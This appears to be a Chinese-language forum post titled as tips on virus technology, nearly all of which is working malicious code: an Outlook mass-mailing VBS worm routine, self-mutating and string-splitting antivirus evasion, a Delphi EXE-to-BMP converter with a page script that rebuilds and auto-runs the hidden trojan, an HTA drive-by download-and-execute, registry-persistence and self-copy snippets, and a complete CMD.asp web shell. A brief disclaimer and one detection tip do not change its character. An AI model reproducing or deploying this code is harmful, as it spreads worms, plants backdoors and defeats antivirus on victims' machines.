[TIPS]The Technology of Virus in EST
这里介绍病毒的攻击技术 不要用来做坏事 知道如何进攻 是最好的防守大家来:) VBS病毒的自动邮件传播代码
Set ol=CreateObject("Outlook.Application") On Error Resume Next
For x=1 To 100
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject=""
Mail.Body=""
Mail.Attachments.Add(dir2&"Win32system.vbs")
Mail.Send
Next
ol.Quit VBS病毒的反查杀代码核心部分
Randomize
Set Of = CreateObject("Scripting.FileSystemObject")
’创建文件系统对象
vC = Of.OpenTextFile(WScript.ScriptFullName, 1).Readall
’读取自身代码
fS=Array("Of", "vC", "fS", "fSC")
’定义一个即将被替换字符的数组
For fSC = 0 To 3
vC = Replace(vC, fS(fSC), Chr((Int(Rnd * 22) + 65))
& Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65))
& Chr((Int(Rnd * 22) + 65)))
’取4个随机字符替换数组fS中的字符串
Next
Of.OpenTextFile(WScript.ScriptFullName, 2, 1).Writeline vC
’将替换后的代码写回文件
上面这段代码使得该VBS文件在每次运行后,其Of,vC,fS,fSC四字符串都会用随机字符串来代替,这在很大程度上可以防止反病毒软件用特征值查毒法将其查出。 VBS病毒的反查杀Execute函数调用技巧
用过VBS程序的朋友是否会觉得奇怪:当一个正常程序中用到了FileSystemObject对象的时候,有些反病毒软件会在对这个程序进行扫描的时候报告说此Vbs文件的风险为高,但是有些VBS脚本病毒同样采用了FileSystemObject对象,为什么却又没有任何警告呢?原因很简单,就是因为这些病毒巧妙的运用了Execute方法。有些杀毒软件检测VBS病毒时,会检查程序中是否声明使用了FileSystemObject对象,如果采用了,这会发出报警。如果病毒将这段声明代码转化为字符串,然后通过Execute(String)函数执行,就可以躲避某些反病毒软件。 VBS病毒反查杀改变某些对象声明技巧
譬如fso=createobject("scripting.filesystemobject"),我们将其改变为
fso=createobject("script"+"ing.filesyste"+"mobject"),这样反病毒软件对其进行静态扫描时就不会发现filesystemobject对象。 网页木马自身掩藏EXE变BMP技术
program exe2bmp;
uses
Windows,
SysUtils;
var len,row,col,fs: DWORD;
buffer: array[0。。255]of char;
fd: WIN32_FIND_DATA;
h,hw: THandle;
begin
if (ParamStr(1)<>'') and(ParamStr(2)<>'') then begin //如果运行后没有两个参数则退出
if FileExists(ParamStr(1)) then begin
FindFirstFile(Pchar(ParamStr(1)),fd);
fs:=fd。nFileSizeLow;
col := 4;
while true do begin
if (fs mod 12)=0 then begin
len:=fs;
end else len:=fs+12-(fs mod 12);
row := len div col div 3;
if row>col then begin
col:=col+4;
end else Break;
end;
FillChar(buffer,256,0);
{一下为BMP文件头数据}
Buffer[0]:='B';Buffer[1]:='M';
PDWORD(@buffer[18])^:=col;
PDWORD(@buffer[22])^:=row;
PDWORD(@buffer[34])^:=len;
PDWORD(@buffer[2])^:=len+54;
PDWORD(@buffer[10])^:=54;
PDWORD(@buffer[14])^:=40;
PWORD(@buffer[26])^:=1;
PWORD(@buffer[28])^:=24;
{写入文件}
hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0);
h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);
WriteFile(hw,buffer,54,col,0);
repeat
ReadFile(h,buffer,256,col,0);
WriteFile(hw,buffer,col,col,0);
untilcol<>256;
WriteFile(hw,buffer,len-fs,col,0);
CloseHandle(h);
CloseHandle(hw);
end;
end;
end。
以上代码可以在DELPHI4,5,6中编译 ,就可以得到一个exe2bmp。exe文件。大家打开MSDOS方式,输入
exe2bmp myexe。exe mybmp。bmp
回车就可以把第二个参数所指定的EXE文件转换成BMP格式。接着就是把这个BMP图片放到网页上了,如果大家打开过这张图片的话,一定发现这张BMP又花,颜色又单调。 木马EXE变BMP网页插入技术
以下是放在网页上的脚本
document。write(' ');
function docsave()
{
a=document。applets[0];
a。setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');
a。createInstance();
wsh=a。GetObject();
a。setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}');
a。createInstance();
fso=a。GetObject();
var winsys=fso。GetSpecialFolder(1);
var vbs=winsys+'\\s。vbs';
wsh。RegWrite
('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs','wscript '+'"'+vbs+'" ');
var st=fso。CreateTextFile(vbs,true);
st。WriteLine('Option Explicit');
st。WriteLine('Dim FSO,WSH,CACHE,str');
st。WriteLine('Set FSO = CreateObject("Scripting。FileSystemObject")');
st。WriteLine('Set WSH = CreateObject("WScript。Shell")');
st。WriteLine('CACHE=wsh。RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellFolders\\Cache")');
st。WriteLine('wsh。RegDelete("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs")');
st。WriteLine ('wsh。RegWrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\tmp","tmp。exe"');
st。WriteLine('SearchBMPFile fso。GetFolder(CACHE),"mybmp[1]。bmp"');
st。WriteLine('WScript。Quit()');
st。WriteLine('Function SearchBMPFile(Folder,fname)');
st。WriteLine(' Dim SubFolder,File,Lt,tmp,winsys');
st。WriteLine(' str=FSO。GetParentFolderName(folder) & "\\" & folder。name & "\\" & fname');
st。WriteLine(' if FSO。FileExists(str) then');
st。WriteLine(' tmp=fso。GetSpecialFolder(2) & "\\"');
st。WriteLine(' winsys=fso。GetSpecialFolder(1) & "\\"');
st。WriteLine(' set File=FSO。GetFile(str)');
st。WriteLine(' File。Copy(tmp & "tmp。dat")');
st。WriteLine(' File。Delete');
st。WriteLine(' set Lt=FSO。CreateTextFile(tmp & "tmp。in")');
st。WriteLine(' Lt。WriteLine("rbx")');
st。WriteLine(' Lt。WriteLine("0")');
st。WriteLine(' Lt。WriteLine("rcx")');
st。WriteLine(' Lt。WriteLine("1000")');
st。WriteLine(' Lt。WriteLine("w136")');
st。WriteLine(' Lt。WriteLine("q")');
st。WriteLine(' Lt。Close');
st。WriteLine(' WSH。Run "command /c debug " & tmp & "tmp。dat <" & tmp & "tmp。in >" & tmp & "tmp。out",false,6');
st。WriteLine(' On Error Resume Next ');
st。WriteLine(' FSO。GetFile(tmp & "tmp。dat")。Copy(winsys & "tmp。exe")');
st。WriteLine(' FSO。GetFile(tmp & "tmp。dat")。Delete');
st。WriteLine(' FSO。GetFile(tmp & "tmp。in")。Delete');
st。WriteLine(' FSO。GetFile(tmp & "tmp。out")。Delete');
st。WriteLine(' end if');
st。WriteLine(' If Folder。SubFolders。Count <> 0 Then');
st。WriteLine(' For Each SubFolder In Folder。SubFolders');
st。WriteLine(' SearchBMPFile SubFolder,fname');
st。WriteLine(' Next');
st。WriteLine(' End If');
st。WriteLine('End Function');
st。Close();
}
setTimeout('docsave()',1000);
把该脚本保存为"js。js",在网页中插入:
该脚本主要会在本地机器的SYSTEM目录下生成一个“S。VBS”文件,该脚本文件会在下次开机时自动运行。主要用于从临时目录中找出mybmp[1]。bmp文件。 网页木马S.VBS文件主要内容如下
Option Explicit
Dim FSO,WSH,CACHE,str
Set FSO = CreateObject("Scripting。FileSystemObject")
Set WSH = CreateObject("WScript。Shell")
CACHE=wsh。RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\Cache")
wsh。RegDelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs")
wsh。RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tmp","tmp。exe"
SearchBMPFile fso。GetFolder(CACHE),"mybmp[1]。bmp"
WScript。Quit()
Function SearchBMPFile(Folder,fname)
Dim SubFolder,File,Lt,tmp,winsys
'从临时文件夹中查找目标BMP图片
str=FSO。GetParentFolderName(folder) & "\" & folder。name & "\" & fname
if FSO。FileExists(str) then
tmp=fso。GetSpecialFolder(2) & "\"
winsys=fso。GetSpecialFolder(1) & "\"
set File=FSO。GetFile(str)
File。Copy(tmp & "tmp。dat")
File。Delete
'生成一个DEBUG脚本
set Lt=FSO。CreateTextFile(tmp & "tmp。in")
Lt。WriteLine("rbx")
Lt。WriteLine("0")
Lt。WriteLine("rcx")
'下面一行的1000是十六进制,换回十进制是4096(该数字是你的EXE文件的大小)
Lt。WriteLine("1000")
Lt。WriteLine("w136")
Lt。WriteLine("q")
Lt。Close
WSH。Run "command /c debug " & tmp & "tmp。dat <" & tmp &"tmp。in>" & tmp & "tmp。out",false,6
On Error Resume Next
FSO。GetFile(tmp & "tmp。dat")。Copy(winsys & "tmp。exe")
FSO。GetFile(tmp & "tmp。dat")。Delete
FSO。GetFile(tmp & "tmp。in")。Delete
FSO。GetFile(tmp & "tmp。out")。Delete
end if
If Folder。SubFolders。Count <> 0 Then
For Each SubFolder In Folder。SubFolders
SearchBMPFile SubFolder,fname
Next
End If
End Function
这个脚本会找出在临时文件夹中的bmp文件,并生成一个DEBUG的脚本,运行时会自动从BMP文件54字节处读去你指定大小的数据,并把它保存到tmp。dat中。后面的脚本再把它复制到SYSTEM的目录下。这个被还原的EXE文件会在下次重起的时候运行。这就是BMP木马的基本实现过程。 网页木马后台下载技术
------------在木马种植页面中插入如下代码-------------------
<object data="[url]http://127.0.0.1/test.test[/url]";;;></object>
然后更改服务器的MIME映射为扩展名.test对应application/hta
-------------------------------
这[url]http://127.0.0.1/test.test[/url]内容的HTA页面就会被用户IE所执行。
当然上面提到的再服务器端修改MIME映射,也可以直接适用ASP、JSP等动态脚本来实现相同功能。
例如:可以直接使用如下代码:
------------test.htm(木马种植页面)中插入如下代码-------------------
<object data="[url]http://127.0.0.1/test.asp[/url]";;;></object>
-------------------------------
---------test.asp(木马主页面)顶部写如下代码----------------------
<%response.ContentType="application/hta"%>
------------------------------- 网页木马种植页面关键代码
<html>
<body>
This is a Test!
If success,,your Os will download a appliction and auto run it!
Of course,Os must be 2k/xp/nt/2003..... and didn't patch.
<object data="[url]http://127.0.0.1/test.asp[/url]";;;></object>
</body> 网页木马生成本地HTA页面关键代码
<%response.ContentType="application/hta"%>
<html>
<object id=wsh classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B></object>
<script language="VBScript">
Function HttpDoGet(url)
set oReq = CreateObject("Microsoft.XMLHTTP")
oReq.open "GET",url,false
oReq.send
If oReq.status=200 then
HttpDoGet=oReq.responseTEXT
SaveFile HttpDoGet,"c:\win.hta" '在C:根目录下生成HTA文件
Set oReq=nothing
End if
End Function
'保存文本文件,生成本地HTA。
sub SaveFile(str,fName)
Dim fso, tf
Set fso = CreateObject("Scripting.FileSystemObject")
Set tf = fso.CreateTextFile(fName, True)
tf.Write str
tf.Close
exewin()
End sub
'运行函数
Sub exewin()
set wshshell=createobject ("wscript.shell" )
a=wshshell.run ("cmd.exe /c c:\win.hta",0)
window.close
End Sub
'得到本地HTA文件
HttpDoGet("[url]http://127.0.0.1/ism.mm[/url]";;)
</script>
</html> CMD.asp
<%@ Language=VBScript %>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
' -- create the COM objects that we will be using -- '
Set oScript = Server.CreateObject("WS"+"CRIP"+"T.SHELL")
Set oScriptNet = Server.CreateObject("WSCR"+"IPT.NET"+"WORK")
Set oFileSys = Server.CreateObject("Scr"+"iptin"+"g.FileS"+"ystemO"+"bject")
' -- check for a command that we have posted -- '
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
' -- Use a poor mans pipe ... a temp file -- '
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<br>
<%
If (IsObject(oFile)) Then
' -- Read the output from our command and remove the temp file -- '
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML> 手工检测病毒的方法
注意 其实这方法不是万能的:)
一旦谋个文件创建后 其创建和修改日期应该是一样的 利用这种方式 可以在C创建一些空文件
比如EvilOctal.exe EvilOctal.com EvilOctal.doc.....观察他的两个日期是否变化 就可以推测系统是否可能被病毒感染 让脚本躲过杀毒软件
1.使用连接符"&" 如:
Set CURObj = CreateObject("WScript.Shell")
mhk="HK"&"LM\SOFT"&"WARE\Micr"&"osoft\Win"&"dows\Curren"&"tVersion\Run\"
CURObj.RegWrite ""&mhk&"internat.exe","internat.exe"
2.使用Execute函数(BY 动鲨 )
一些杀毒软件,如瑞星,他门会监视网页中的代码,一旦你创建了FSO或写注册表,即使是正常的脚本他也会报告危险,但是当年新欢乐时光也用了FSO怎么就没报警呢?原因是这个病毒使用Execute这个函数来躲过了防火墙,呵呵。病毒将这段声明代码转化为字符串,然后通过Execute(String)函数执行,举个例子
str="set fso=CreateObject( " & chr(34) & "scrip" & chr(116)& "ing.FileSystemObject"&chr(34)&")"
msgbox str
Execute str
将如上的代码放入test.vbs中就会被创建FSO,而瑞星就不会报警了。 VBS脚本病毒自身复制技术
Set so=CreateObject("Scripting.FileSystemObject")
so.GetFile(WScript.ScriptFullName).Copy("C:\dateiname.vbs")
页:
[1]